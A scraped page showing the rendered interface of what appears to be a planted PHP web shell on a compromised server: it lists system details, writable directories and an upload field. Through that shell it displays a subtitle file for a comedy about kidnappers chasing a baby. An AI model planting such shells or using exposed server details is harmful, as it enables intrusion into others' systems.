����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/01-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/01-2019/5c2a7b497c15c-1546287945.vtt
WEBVTT

1
00:02:39.214 --> 00:02:40.523
Boo-boo.

2
00:02:46.670 --> 00:02:49.037
Couldn't we read another book?

3
00:02:51.118 --> 00:02:53.256
We've read this one a hundred times.

4
00:02:54.318 --> 00:02:56.391
Please?

5
00:02:56.622 --> 00:03:01.411
Nanny Gilbertine is so tired of
the Boo-boo book, she could just gag.

6
00:03:01.518 --> 00:03:03.492
Boo-boo.

7
00:03:05.262 --> 00:03:07.334
All right. All right.

8
00:03:10.094 --> 00:03:15.845
''One fine and sunny day,
Baby Boo's nanny Henrietta said

9
00:03:15.950 --> 00:03:21.482
'Baby Boo, today you shall go
on a wonderful adventure.'''

10
00:03:21.550 --> 00:03:24.681
'''You will see the many,
many sights of the Big City.'''

11
00:03:29.614 --> 00:03:33.226
''After a lovely breakfast
they walked down the lane to the corner,

12
00:03:33.294 --> 00:03:36.043
where they boarded a big, blue bus.''

13
00:03:37.262 --> 00:03:39.629
''They were on their way to the Big City.''

14
00:03:39.758 --> 00:03:42.507
''Baby Boo felt very grown-up indeed,

15
00:03:42.606 --> 00:03:46.086
for this was his first trip
away from Mother and Father.''

16
00:03:48.302 --> 00:03:49.895
Did l tell you?

17
00:03:49.966 --> 00:03:54.276
- Baby's having his picture taken today.
- Oh. Say hello to old Willy for me.

18
00:03:55.342 --> 00:03:59.685
Old Willy isn't doing it.
l've hired Downtown Baby Photographers.

19
00:04:01.230 --> 00:04:04.296
He's photographed Cotwell babies
since the Depression.

20
00:04:04.366 --> 00:04:07.562
Old Willy hasn't had a picture
in the paper in over 20 years.

21
00:04:07.630 --> 00:04:10.598
Everyone we know has had
their baby's picture in the paper.

22
00:04:10.670 --> 00:04:13.900
Baby Bink is almost a year old
and virtually unknown.

23
00:04:14.446 --> 00:04:19.662
l can't count the number of times l've been
asked why we're keeping our baby a secret.

24
00:04:21.390 --> 00:04:23.332
You're right.

25
00:04:23.438 --> 00:04:28.741
The only way to quiet such talk is to have our
small-minded friends open up their papers

26
00:04:28.846 --> 00:04:32.458
and see a photograph of
the prettiest baby in the city.

27
00:04:36.366 --> 00:04:40.163
- Get out! Come on!
- Come on, let's go. l said move it!

28
00:04:40.238 --> 00:04:42.060
Move it!

29
00:04:47.503 --> 00:04:50.950
Off with the fuzzy pink and blue sweaters,
nice and slow.

30
00:04:51.054 --> 00:04:54.087
- Ed, does it matter who wears pink or blue?
- No!

31
00:04:54.671 --> 00:04:58.020
Cotwell... Cotwell... Where is that little...

32
00:04:59.918 --> 00:05:02.090
Dinner with the Westfalls tonight.

33
00:05:02.190 --> 00:05:06.184
Don't forget to do your breathing exercises
Dr Phillips suggested.

34
00:05:06.255 --> 00:05:10.052
- l have a breathing scheduled at 11.
- Bless your soul.

35
00:05:10.991 --> 00:05:12.779
Have a wonderful day.

36
00:05:16.751 --> 00:05:18.922
Bing?

37
00:05:19.054 --> 00:05:21.029
What did you forget?

38
00:05:22.446 --> 00:05:25.261
Oh, my pen! Thank you, Andrews.

39
00:05:26.062 --> 00:05:28.069
What else?

40
00:05:29.071 --> 00:05:31.754
Darling, you know how
l hate games in the morning.

41
00:05:34.670 --> 00:05:37.289
Of course. Goodness, how could l forget?

42
00:05:37.582 --> 00:05:39.721
Don't you get...

43
00:05:39.822 --> 00:05:43.816
Don't you get into any mischief
while Dada's gone. Burble, burble.

44
00:05:43.887 --> 00:05:47.913
Won't it be exciting when he can understand
the wonderful things we say to him?

45
00:05:48.046 --> 00:05:50.599
Bye-bye. Bye-bye.

46
00:06:19.855 --> 00:06:22.757
He can't look too butch,
but he can't look too feminine.

47
00:06:22.831 --> 00:06:25.514
He has to look angelic, like a little prince.

48
00:06:25.615 --> 00:06:28.397
That would suggest blue.

49
00:06:28.495 --> 00:06:32.651
Blue? Won't that look like we're trying to
match his eyes? Won't it be too obvious?

50
00:06:32.751 --> 00:06:35.882
l see lots of babies with
blue eyes and blue outfits.

51
00:06:35.983 --> 00:06:38.853
What kind of babies?
Rich babies? Pretty babies?

52
00:06:38.926 --> 00:06:42.025
- Regular babies? lmportant babies?
- Regular babies.

53
00:06:42.510 --> 00:06:44.998
Baby Bink is not a regular baby.

54
00:06:52.462 --> 00:06:54.350
Buff, buff, buff, buff, buff.

55
00:06:54.415 --> 00:06:56.749
Oh, but how shiny they're getting.

56
00:07:06.095 --> 00:07:08.070
Now, now. Hold still.

57
00:07:11.375 --> 00:07:14.571
Ready? Very, very handsome. Let me see.

58
00:07:43.471 --> 00:07:45.260
Hello.

59
00:07:47.343 --> 00:07:49.612
Get the gear.

60
00:07:50.287 --> 00:07:52.109
Get the gear.

61
00:07:52.175 --> 00:07:56.038
- He didn't say ''Get the gear, Veeko.''
- l'm the supervisor. You get it.

62
00:07:56.143 --> 00:07:59.177
You got the blue sweater.
You help me get the gear.

63
00:08:08.783 --> 00:08:12.645
A most pleasant and
charming good day to you, sir.

64
00:08:13.103 --> 00:08:16.299
l am Mr Charlie,

65
00:08:16.655 --> 00:08:22.438
photographer de babe,
entirely at your service.

66
00:08:26.351 --> 00:08:29.450
You were expecting us?

67
00:08:32.879 --> 00:08:35.334
- Thank you.
- Excuse me.

68
00:08:35.407 --> 00:08:37.829
Whoa, look at this place!

69
00:08:40.272 --> 00:08:42.060
Eddie.

70
00:08:50.095 --> 00:08:55.463
We ain't here to nick no bric-a-brac.
We're here for the hit of a lifetime.

71
00:08:55.567 --> 00:08:58.382
You wanna be a shoplifter, go to JC Penney.

72
00:09:06.575 --> 00:09:08.550
You think we can get away with this?

73
00:09:08.656 --> 00:09:12.398
No. l'm here because l've got
a wild curiosity about the electric chair.

74
00:09:13.135 --> 00:09:14.891
Sorry.

75
00:09:37.616 --> 00:09:40.037
What a gorgeous baby.

76
00:09:40.144 --> 00:09:42.413
You must be so proud.

77
00:09:43.216 --> 00:09:45.103
l'm Mrs Cotwell.

78
00:09:45.167 --> 00:09:46.826
l am Mr Charlie.

79
00:09:48.080 --> 00:09:49.902
Shall we begin?

80
00:10:02.480 --> 00:10:07.182
Mr Francis, if you will go to the vehicle
and retrieve my light meter.

81
00:10:15.856 --> 00:10:18.376
l'm going to be rich.

82
00:10:18.640 --> 00:10:21.226
l want individual photos of Baby Bink.

83
00:10:21.296 --> 00:10:24.743
Baby Bink? What
an absolutely delightful name.

84
00:10:24.848 --> 00:10:27.597
- lt's a pet name for Bennington.
- Certainly.

85
00:10:27.664 --> 00:10:31.624
l want individual photos of Baby Bink,
and then a portrait of the two of us.

86
00:10:31.696 --> 00:10:34.315
Whatever you wish, however you wish.

87
00:10:34.384 --> 00:10:37.253
You photographed
the children of many of my friends.

88
00:10:37.392 --> 00:10:41.418
Those pictures are forever appearing
in newspapers and magazines.

89
00:10:41.520 --> 00:10:43.495
lt is true.

90
00:10:44.784 --> 00:10:48.231
- His picture's never been published.
- That cannot be.

91
00:10:48.304 --> 00:10:49.930
lt's true.

92
00:10:50.000 --> 00:10:56.394
l am sure in the not-so-distant future
this little fellow will be very well known.

93
00:10:58.128 --> 00:11:00.615
l want your very best. l want art.

94
00:11:00.720 --> 00:11:04.168
l want you to set a new standard
for beauty in baby photography.

95
00:11:04.592 --> 00:11:07.079
l so welcome the challenge, madame.

96
00:11:07.152 --> 00:11:11.691
And, to that end, may l ask one small favor?

97
00:11:11.761 --> 00:11:15.143
May l have some time alone with the child?

98
00:11:19.920 --> 00:11:22.571
Oh, l need his complete attention.

99
00:11:22.640 --> 00:11:28.423
The great bond between you and your son,
his love for you, will distract him.

100
00:11:28.528 --> 00:11:35.119
l need to study his marvelous little features,
to learn how best to photograph him.

101
00:11:35.216 --> 00:11:40.879
He does well with persons
he is not intimate with?

102
00:11:44.528 --> 00:11:46.536
Does he?

103
00:11:47.344 --> 00:11:49.678
He's a friendly boy, but he may not like...

104
00:11:49.776 --> 00:11:51.500
Excellent!

105
00:11:51.921 --> 00:11:54.474
Madame, if l might make a suggestion.

106
00:11:55.057 --> 00:12:01.352
Your garment du jour, while
extremely magnificent, is so colorful,

107
00:12:01.425 --> 00:12:04.239
l am afraid it will dominate the photograph

108
00:12:04.305 --> 00:12:07.720
and detract from your natural beauty.

109
00:12:09.584 --> 00:12:12.999
l knew this outfit was wrong.
l'll be back in 15 minutes.

110
00:12:13.680 --> 00:12:16.877
Take all the time you need.

111
00:12:21.073 --> 00:12:23.462
lf he gets cranky,

112
00:12:23.568 --> 00:12:25.673
read him his book.

113
00:12:25.744 --> 00:12:27.719
How invaluable.

114
00:12:29.392 --> 00:12:31.302
Thank you.

115
00:12:46.768 --> 00:12:49.070
Mr Andrews, get the winter wardrobe.

116
00:12:49.136 --> 00:12:51.558
- But, madam...
- Hurry, Gilbertine.

117
00:13:04.209 --> 00:13:06.380
There you go.

118
00:13:06.512 --> 00:13:08.487
Take the book.

119
00:13:19.473 --> 00:13:22.440
Bink really deserves this moment
in the spotlight.

120
00:13:22.513 --> 00:13:25.993
lt's too bad the baby pictures
don't go on the front page.

121
00:13:26.865 --> 00:13:28.174
- Ma'am?
- Yeah?

122
00:13:39.473 --> 00:13:41.447
We gotta make this fast.

123
00:14:00.433 --> 00:14:02.407
l'm sorry it took so long.

124
00:14:09.937 --> 00:14:11.944
Where's Bink?

125
00:15:00.081 --> 00:15:01.805
Eddie?

126
00:15:01.873 --> 00:15:06.029
You're a smart guy. How do you tell
the front from the back on these diapers?

127
00:15:06.098 --> 00:15:08.519
Are there pockets in the front?

128
00:15:11.089 --> 00:15:16.359
- Very funny. The front and back are the same.
- Then it probably don't make no difference.

129
00:15:16.753 --> 00:15:22.056
Put him in them regular baby clothes. That
fruit suit's a dead giveaway he's a rich kid.

130
00:15:23.474 --> 00:15:25.961
Come on. Good boy.

131
00:15:55.121 --> 00:15:56.910
Ed?

132
00:15:57.009 --> 00:16:00.173
How do l know this milk
won't burn the kid's throat?

133
00:16:00.273 --> 00:16:02.183
lf that matters.

134
00:16:02.257 --> 00:16:04.810
Try it on some skin first.

135
00:16:12.882 --> 00:16:14.954
What's the matter with you?

136
00:16:15.762 --> 00:16:17.867
l better let it cool down.

137
00:16:21.426 --> 00:16:23.630
You like that?

138
00:16:23.698 --> 00:16:25.007
Eddie?

139
00:16:25.074 --> 00:16:27.081
Watch the baby.

140
00:16:32.721 --> 00:16:36.333
Very good. Now see if it works the other way.

141
00:16:42.929 --> 00:16:44.817
lt works.

142
00:16:51.858 --> 00:16:53.647
Put him in the bedroom.

143
00:16:53.714 --> 00:16:57.870
The more he sleeps, the less attention
he draws from the neighbors.

144
00:16:57.938 --> 00:17:00.621
- And keep an eye on him.
- Here you go, kid.

145
00:17:00.722 --> 00:17:03.820
That little doo-doo machine
is my retirement money.

146
00:17:04.945 --> 00:17:06.768
All right.

147
00:17:06.865 --> 00:17:08.938
Nappy-nap time, little jerk.

148
00:17:12.914 --> 00:17:15.019
Go to sleep real nice

149
00:17:15.122 --> 00:17:17.904
cos Mr Teddy Bear over here,

150
00:17:17.970 --> 00:17:21.865
he's been up all night drinking with
the Barbie dolls and he needs his rest.

151
00:17:22.225 --> 00:17:24.681
All right. Drink your milk.

152
00:17:24.753 --> 00:17:26.444
Take your nap.

153
00:17:27.570 --> 00:17:29.807
Drink your milk! Take your nap!

154
00:17:32.818 --> 00:17:34.825
- Eddie!
- What?

155
00:17:34.898 --> 00:17:38.924
You got any suggestions how you
get these things to eat and sleep?

156
00:17:39.474 --> 00:17:41.449
Sing him a song.

157
00:17:57.682 --> 00:18:03.433
~ Mary had a little lamb

158
00:18:05.394 --> 00:18:07.466
~ Little lamb

159
00:18:08.242 --> 00:18:10.217
~ Little lamb

160
00:18:10.994 --> 00:18:15.271
~ Mary had a little lamb

161
00:18:15.346 --> 00:18:18.542
~ Her hair was white as snow

162
00:18:19.506 --> 00:18:24.013
~ And every which way that Mary went

163
00:18:24.115 --> 00:18:26.504
~ The lamb was right behind her

164
00:18:27.442 --> 00:18:29.777
~ lt followed her to work one day

165
00:18:29.875 --> 00:18:32.722
~ Work one day, work one day

166
00:18:32.786 --> 00:18:36.561
~ lt followed her to work one day

167
00:18:36.626 --> 00:18:39.528
~ And Mary lost herjob

168
00:18:43.474 --> 00:18:46.441
Eddie! What else did Mary's little lamb do?

169
00:18:46.547 --> 00:18:49.481
Didn't he put Humpty Dumpty
back together again?

170
00:18:50.770 --> 00:18:53.072
That was Nat King Cole.

171
00:18:53.138 --> 00:18:58.506
Nat King Cole stuck his finger in the pie
and yanked out the bird.

172
00:18:58.642 --> 00:19:03.432
How can a lamb put a Humpty
together again? He ain't got fingers.

173
00:19:03.634 --> 00:19:06.733
~ And then she went to unemployment...

174
00:19:06.803 --> 00:19:10.829
Norby! Knock off the singin'
and read him his storybook.

175
00:19:12.594 --> 00:19:14.285
lf you can.

176
00:19:19.570 --> 00:19:21.545
Wanna hear a story?

177
00:19:24.435 --> 00:19:26.988
Let's see here. What do we got here?

178
00:19:35.251 --> 00:19:36.974
''Nanny...

179
00:19:37.107 --> 00:19:39.016
and Baby Boo...

180
00:19:41.074 --> 00:19:43.049
strolled...

181
00:19:43.123 --> 00:19:45.130
through...

182
00:19:45.203 --> 00:19:47.658
the great big...

183
00:19:50.130 --> 00:19:52.018
de...

184
00:19:53.747 --> 00:19:55.722
de...

185
00:19:56.915 --> 00:19:59.981
- department.
- ..department store.''

186
00:20:00.082 --> 00:20:03.759
''How many, many things there were to buy.''

187
00:20:04.370 --> 00:20:06.410
Or steal, if l was writin' that book.

188
00:20:07.283 --> 00:20:10.218
Or steal, if l was writin' this book.

189
00:20:43.635 --> 00:20:47.344
Mrs Cotwell? Dale Grissom, FBl.

190
00:20:47.443 --> 00:20:49.418
l'd like to ask you a few questions.

191
00:20:49.490 --> 00:20:51.694
You'll have to ask me later.

192
00:20:51.762 --> 00:20:56.203
- l'm going to look for my baby.
- l'd rather you didn't. l need you here.

193
00:20:57.522 --> 00:20:59.911
- Don't coddle me, Mr Grissom.
- Mrs Cotwell,

194
00:20:59.987 --> 00:21:04.592
there are five million people in this city
and many places where your boy could be.

195
00:21:04.659 --> 00:21:09.198
lt would be pointless and dangerous
for you to go out searching for your baby.

196
00:21:09.299 --> 00:21:13.706
l've been through a number of these cases.
l understand how you feel.

197
00:21:15.507 --> 00:21:17.896
Have you ever lost a child?

198
00:21:18.739 --> 00:21:20.146
No, ma'am.

199
00:21:20.499 --> 00:21:22.954
Then you can't possibly know how l feel.

200
00:21:25.075 --> 00:21:28.850
l apologize. But would you stay here, please?

201
00:21:29.331 --> 00:21:31.568
For your baby's sake.

202
00:23:09.747 --> 00:23:11.722
Do you gotta do that?

203
00:23:14.580 --> 00:23:16.554
l like to look nice.

204
00:23:17.204 --> 00:23:19.178
You gotta spit?

205
00:23:20.883 --> 00:23:24.910
l don't know about you,
but l don't eat pieces of my body.

206
00:23:56.500 --> 00:23:58.322
What?

207
00:23:59.124 --> 00:24:01.513
- What did l do?
- You spit on me.

208
00:24:01.587 --> 00:24:03.660
- l did not!
- Somebody did,

209
00:24:03.732 --> 00:24:05.936
and you're the only one in the room.

210
00:24:21.395 --> 00:24:23.370
You jerk!

211
00:24:23.444 --> 00:24:26.444
What? No, no. Quiet.

212
00:24:26.547 --> 00:24:29.395
- You're gonna wake up the baby.
- The baby's on the roof!

213
00:24:42.036 --> 00:24:44.818
Hurry. Come on, hurry.

214
00:25:05.556 --> 00:25:07.344
Eddie!

215
00:25:10.260 --> 00:25:12.649
Ed. Hey, Ed, what happened?

216
00:25:13.748 --> 00:25:15.373
Eddie, are you OK?

217
00:25:19.028 --> 00:25:22.640
- People shouldn't leave this lying around.
- What are you doing, dope?

218
00:25:22.740 --> 00:25:24.845
lt was in the way.

219
00:25:25.620 --> 00:25:27.475
- What happened?
- Right, pick him up.

220
00:25:27.540 --> 00:25:29.547
Eddie. Ed, you're drooling.

221
00:25:29.620 --> 00:25:34.476
- Eddie, come on. Come on, Ed. Come on.
- Eddie, what happened? Eddie?

222
00:25:34.996 --> 00:25:36.971
What? This way?

223
00:25:39.093 --> 00:25:41.678
Oh, great. lt's gotta be at least 1,000 feet.

224
00:25:41.748 --> 00:25:44.618
- Ed, we're gonna have to jump.
- We're gonnajump?

225
00:25:44.724 --> 00:25:48.040
- Yes. On three. Ready?
- OK.

226
00:25:48.180 --> 00:25:49.195
One.

227
00:25:49.332 --> 00:25:50.859
Two.

228
00:25:50.996 --> 00:25:51.924
Three.

229
00:25:59.828 --> 00:26:02.130
Eddie!

230
00:26:23.892 --> 00:26:26.227
Ed, look...

231
00:26:26.325 --> 00:26:28.147
out!

232
00:26:52.372 --> 00:26:55.122
- What?
- Package.

233
00:26:55.541 --> 00:26:59.851
- Where do you want me to sign?
- Anywhere's fine.

234
00:27:06.676 --> 00:27:09.065
Have a nice... day.

235
00:27:09.141 --> 00:27:11.116
You old bat.

236
00:27:14.165 --> 00:27:17.012
- Which way?
- This way.

237
00:27:30.197 --> 00:27:32.302
Ed!

238
00:27:32.373 --> 00:27:35.056
Are you all right?

239
00:27:35.125 --> 00:27:38.441
How can he be all right?
The guy fell off a building.

240
00:27:38.548 --> 00:27:43.305
Probably got contusions, concussions,
contractions. What's the matter with you?

241
00:28:02.037 --> 00:28:05.834
- Just take it easy. How you feelin'?
- Eddie, how many fingers l got up?

242
00:28:05.909 --> 00:28:08.778
- Two.
- Not you! Hey, Eddie, say somethin'.

243
00:28:08.853 --> 00:28:11.984
- Here, put him here.
- Sit down on the bench. Sit down.

244
00:28:12.309 --> 00:28:14.196
You OK?

245
00:28:14.293 --> 00:28:15.853
Eddie.

246
00:28:15.925 --> 00:28:17.714
When we first seen you fall,

247
00:28:17.781 --> 00:28:22.483
our first thoughts were with you
and your family, should you not survive.

248
00:28:22.613 --> 00:28:24.914
- l prayed, Eddie.
- Shut up!

249
00:28:46.005 --> 00:28:49.354
All right, take it easy.
You wanna maybe get to the right of him.

250
00:28:55.573 --> 00:28:57.744
Wait, Eddie. We don't wanna get a ticket.

251
00:29:01.973 --> 00:29:05.169
- Get to the right. Eddie, get to the right.
- Shut up!

252
00:29:07.861 --> 00:29:10.196
Move in front of him. l'll jump on the back.

253
00:29:10.261 --> 00:29:12.749
- You're makin' me nuts!
- OK. Don't get crazy.

254
00:29:16.789 --> 00:29:19.789
- Just drive. l'll tell you.
- See that lady over there?

255
00:29:19.861 --> 00:29:22.676
There he is! l see him! There he is!

256
00:29:23.445 --> 00:29:25.420
We got him.

257
00:29:26.997 --> 00:29:29.004
He's gone! We lost him!

258
00:29:36.918 --> 00:29:38.990
Look both ways!

259
00:29:40.693 --> 00:29:42.068
l think you hit a cat.

260
00:29:42.134 --> 00:29:46.290
Here's the bus. Eddie, you see it?
He's gettin' ahead of us, Eddie.

261
00:29:46.389 --> 00:29:48.593
There's the bus again.

262
00:29:53.205 --> 00:29:55.627
Driver, next stop, please.

263
00:30:10.070 --> 00:30:11.695
Wait, l don't see him.

264
00:30:18.134 --> 00:30:20.948
- There's the bus.
- l see the bus!

265
00:30:21.014 --> 00:30:22.988
l'll get him!

266
00:30:23.862 --> 00:30:26.196
Wait! Wait! Stop the bus.

267
00:30:27.413 --> 00:30:29.301
l forgot somethin'! Stop the bus!

268
00:30:29.397 --> 00:30:32.693
Wait, wait, wait! Hello! Stop the bus!

269
00:30:32.758 --> 00:30:36.981
Halt! Stop the bus! Wait! Stop the bus!

270
00:30:41.398 --> 00:30:45.555
Did a baby get off this bus?
A little guy, about two feet tall.

271
00:30:45.653 --> 00:30:48.970
- lt's an emergency!
- l didn't have nobody today with a baby.

272
00:30:49.174 --> 00:30:51.313
He was by himself!

273
00:30:54.614 --> 00:30:57.035
- What?
- He must have got off.

274
00:30:57.814 --> 00:31:00.051
Oh, great. We're through.

275
00:31:03.734 --> 00:31:06.582
lf you didn't park your van on the sidewalk,

276
00:31:06.646 --> 00:31:09.548
people could get by a lot easier.

277
00:31:12.374 --> 00:31:17.262
lf you'd limit yourself to a couple of pork
roasts a day, you wouldn't need to worry.

278
00:31:17.846 --> 00:31:19.220
You heard me.

279
00:31:25.878 --> 00:31:27.885
Some people.

280
00:31:30.966 --> 00:31:33.454
- Eddie, how could he get off?
- l seen him.

281
00:31:33.526 --> 00:31:36.144
- What?
- He's in the big broad's purse.

282
00:31:37.046 --> 00:31:42.228
Yeah, this is Carl in 157.
You know anything about a missing baby?

283
00:31:42.646 --> 00:31:45.907
l see her. How could you miss her?
She's as big as a building.

284
00:31:45.974 --> 00:31:49.204
- Eddie, let me do this.
- Will you stop it?

285
00:31:49.270 --> 00:31:53.394
- How do we do it?
- Nonchalant. We'll give her a sandwich.

286
00:31:53.462 --> 00:31:57.259
- She don't need a sandwich. Look at her.
- That's my whole point.

287
00:31:57.334 --> 00:31:59.571
Wait.

288
00:32:15.894 --> 00:32:17.268
Eddie.

289
00:32:17.366 --> 00:32:19.341
Get her, Veeko! You get her, Veeko!

290
00:32:21.143 --> 00:32:27.220
Get her, Veeko. You got her, Veek.
Hang in there, Veek. You got her! Come on!

291
00:32:27.446 --> 00:32:28.526
Who's next?

292
00:32:29.942 --> 00:32:34.317
How about you, Mr Comedy?
''We'll give her a sandwich,'' huh?

293
00:32:34.390 --> 00:32:37.139
''As big as a building,'' huh?

294
00:32:37.207 --> 00:32:40.654
Not so easy making jokes
with my fist in your mouth, is it?

295
00:32:40.758 --> 00:32:43.540
- l'm not afraid of you.
- Come on. She's crazy.

296
00:32:43.638 --> 00:32:46.321
Anybody else wanna take a shot?

297
00:32:51.095 --> 00:32:53.069
Chicken!

298
00:33:35.255 --> 00:33:38.867
How did you get out of
Mother Goose Corner?

299
00:33:52.918 --> 00:33:55.821
So, you got a nasty little surprise for me?

300
00:34:02.102 --> 00:34:04.241
You guys are worthless!

301
00:34:04.311 --> 00:34:06.547
Yeah, right, Eddie. Blame us.

302
00:34:07.062 --> 00:34:11.470
- You know, l'm gettin' sick of your insults.
- Then why don't you quit?

303
00:34:11.543 --> 00:34:16.115
- Oh, yeah? Let you two have all the money?
- What money? The kid is gone!

304
00:34:16.695 --> 00:34:19.062
There you go, my little escape artist.

305
00:34:23.126 --> 00:34:27.731
Now, if you were a baby
lost in the big city, where would you go?

306
00:34:50.231 --> 00:34:54.738
,,speculation, but a ransom figure
in the millions of dollars was mentioned,

307
00:34:54.839 --> 00:34:59.891
Security is tight around the Cotwell mansion
and at Cotwell lndustry Towers downtown,

308
00:34:59.991 --> 00:35:02.479
Ronnie Lee has more on the story, Ronnie?

309
00:35:02.583 --> 00:35:05.452
There's no word from police,
but our sources tell us

310
00:35:05.558 --> 00:35:09.999
that a nine-month-old baby boy was abducted
at approximately ten o'clock this morning,

311
00:35:10.103 --> 00:35:13.137
We have confirmed that
a photographer and two assistants

312
00:35:13.239 --> 00:35:15.759
from the Downtown
Baby Photographers studio

313
00:35:15.831 --> 00:35:19.660
were scheduled to photograph
the missing child today,

314
00:35:19.767 --> 00:35:22.865
A spokesman for the photography
studio declined to comment,

315
00:35:48.311 --> 00:35:54.869
,,extremely tight, ln fact, police
and FBl units have sealed off the area,

316
00:35:55.095 --> 00:35:59.372
Earlier l attempted to reach millionaire
Bennington Cotwell at his office.

317
00:35:59.768 --> 00:36:05.070
Though reporters were turned away,
a reliable source informed us that Cotwell...

318
00:36:08.599 --> 00:36:11.829
A spokesman for the company said
that Mr Cotwell was unavailable.

319
00:36:16.792 --> 00:36:21.014
Hang on a second. Keep rolling. OK.

320
00:36:40.407 --> 00:36:42.644
Where'd he go?

321
00:37:02.360 --> 00:37:04.400
We're always, like, this close.

322
00:37:19.128 --> 00:37:21.746
- Hello.
- Hello, ls this Mr Cotwell?

323
00:37:21.847 --> 00:37:25.906
- Yes. Who is this?
- My name's Depke, Joe, Joe Depke,

324
00:37:26.008 --> 00:37:31.442
Yeah, Listen, l might have some information
on the whereabouts of that child,

325
00:37:41.016 --> 00:37:43.471
- l seen the baby.
- Where?

326
00:37:43.576 --> 00:37:45.583
Right across the street on the curb.

327
00:37:45.656 --> 00:37:47.598
Where'd he go?

328
00:37:50.200 --> 00:37:53.364
lt's the craziest thing. l don't remember.

329
00:37:53.463 --> 00:37:56.246
Maybe we'll take a ride.
See if you remember then.

330
00:37:56.343 --> 00:37:59.660
- You want money? How much?
- Don't embarrass me. Don't insult me.

331
00:37:59.768 --> 00:38:03.030
- Your money's no good here. Put it away.
- Where's the baby?

332
00:38:03.096 --> 00:38:05.136
House across the street.

333
00:38:06.199 --> 00:38:08.207
Second floor.

334
00:38:09.688 --> 00:38:13.332
McCrays. No guarantee.
Listen, mister, l didn't know your kid.

335
00:38:13.432 --> 00:38:15.439
l just saw his picture on TV.

336
00:38:16.568 --> 00:38:18.957
l called because l care.

337
00:38:27.159 --> 00:38:30.291
- Your name's McCray?
- Yeah. What did l do?

338
00:38:30.360 --> 00:38:33.077
We're looking for a missing child.

339
00:38:33.176 --> 00:38:36.372
- These are my kids.
- Mind if we take a look?

340
00:38:40.664 --> 00:38:42.671
Hello, ma'am.

341
00:38:48.088 --> 00:38:50.357
Hi.

342
00:38:52.216 --> 00:38:54.191
Sir, in here.

343
00:39:05.240 --> 00:39:06.801
Baby.

344
00:39:32.281 --> 00:39:34.255
You have a beautiful little boy.

345
00:39:37.112 --> 00:39:39.087
Thank you, ma'am.

346
00:39:40.408 --> 00:39:42.416
l'll pray he comes back to you.

347
00:39:44.088 --> 00:39:48.693
These kids are all l've got, so l know
how l'd feel if l was in your place.

348
00:39:49.752 --> 00:39:51.727
l hope you never are.

349
00:39:53.657 --> 00:39:55.861
For your children's sake.

350
00:40:05.177 --> 00:40:07.184
Sorry we inconvenienced you.

351
00:40:08.344 --> 00:40:10.319
Be there in a second.

352
00:40:13.528 --> 00:40:16.495
- l'm sorry for the trouble.
- Sir?

353
00:40:17.593 --> 00:40:23.309
l believe in my heart that someone
somewhere watches over the babies.

354
00:40:26.200 --> 00:40:28.339
Yes, l hope so.

355
00:40:33.432 --> 00:40:35.799
You have everything? Are you sure?

356
00:40:56.472 --> 00:41:00.913
l can't believe this. You know,
it ain't the wisest strategy to kidnap a baby

357
00:41:00.985 --> 00:41:03.702
and then let the damn thing
loose on the streets.

358
00:41:03.800 --> 00:41:08.023
Babies crawling in traffic tend
to draw attention, don't you think?

359
00:41:17.273 --> 00:41:20.721
To the left, l think. You see? The cab.

360
00:41:31.257 --> 00:41:33.264
Got you now, you little...

361
00:41:40.441 --> 00:41:43.310
- Eddie!
- My money!

362
00:41:55.001 --> 00:41:57.783
Come on! Come on! Go! Go!

363
00:42:01.625 --> 00:42:03.534
Go! No, wait!

364
00:42:05.401 --> 00:42:07.189
Stay! Stay there!

365
00:42:07.289 --> 00:42:09.264
Stay there!

366
00:42:10.169 --> 00:42:11.576
Don't go!

367
00:42:12.633 --> 00:42:14.804
Go! Now! Watch your feet.

368
00:42:18.073 --> 00:42:19.480
Stay there!

369
00:42:19.545 --> 00:42:22.927
OK, hang on. One, two, three - go.

370
00:42:38.713 --> 00:42:43.798
l worked at Burger King three years.
This is worse than that.

371
00:42:43.897 --> 00:42:47.890
Don't blame me. We'd be restin' easy
if Butterfingers here hadn't lost the kid.

372
00:42:47.961 --> 00:42:51.638
l lost the kid? l lost the kid?
Oh, well, that's news to me.

373
00:42:51.737 --> 00:42:55.250
- Who fell asleep reading nursery stories?
- Who left the window open?

374
00:42:57.881 --> 00:43:01.197
- That was me.
- You idiots are why we don't got the kid.

375
00:43:01.273 --> 00:43:06.969
As far as l'm concerned, you can drop out and
l'll keep the $5m. You don't deserve a penny.

376
00:43:07.033 --> 00:43:09.618
- You'd stiff us?
- Wait a minute!

377
00:43:09.689 --> 00:43:14.392
Don't get hot, Eddie. Don't get hot.
We're all just tired from gettin' torn apart.

378
00:43:14.906 --> 00:43:19.161
Like l like to fall off buildings
and jump in ditches! That's the breaks.

379
00:43:19.225 --> 00:43:21.113
We're dealing with a baby.

380
00:43:21.177 --> 00:43:24.690
Babies are obviously
more dangerous than we thought.

381
00:43:24.761 --> 00:43:27.412
lt don't figure, Eddie. They're so small.

382
00:43:27.482 --> 00:43:30.831
When l boxed, the guys l most feared
were those who feared nothin'.

383
00:43:30.905 --> 00:43:34.135
Babies are like that -
they ain't afraid of nothin'.

384
00:43:37.882 --> 00:43:39.572
Baby tracks.

385
00:43:58.969 --> 00:44:01.206
Norby, hey.

386
00:45:00.186 --> 00:45:02.935
The kid's in the gorilla cage.

387
00:45:05.242 --> 00:45:07.609
There goes our five million bucks, huh?

388
00:45:09.722 --> 00:45:11.794
l think the ape likes the kid.

389
00:45:22.330 --> 00:45:25.942
- What?
- You got long arms.

390
00:45:28.346 --> 00:45:30.256
Thanks.

391
00:45:37.082 --> 00:45:38.970
l can't reach him, Eddie.

392
00:45:41.210 --> 00:45:43.698
That's it. You got it.

393
00:45:48.858 --> 00:45:50.866
Easy does it.

394
00:45:51.482 --> 00:45:54.831
That's it. Slow, slow, slow. There.

395
00:45:54.938 --> 00:45:56.531
Easy.

396
00:46:16.762 --> 00:46:19.151
Nice monkey.

397
00:46:20.187 --> 00:46:21.681
Yes.

398
00:46:22.906 --> 00:46:26.070
He's startin' to cry, Eddie.
He'll make the monkey mad.

399
00:46:28.794 --> 00:46:30.223
Eddie, he's gettin' up.

400
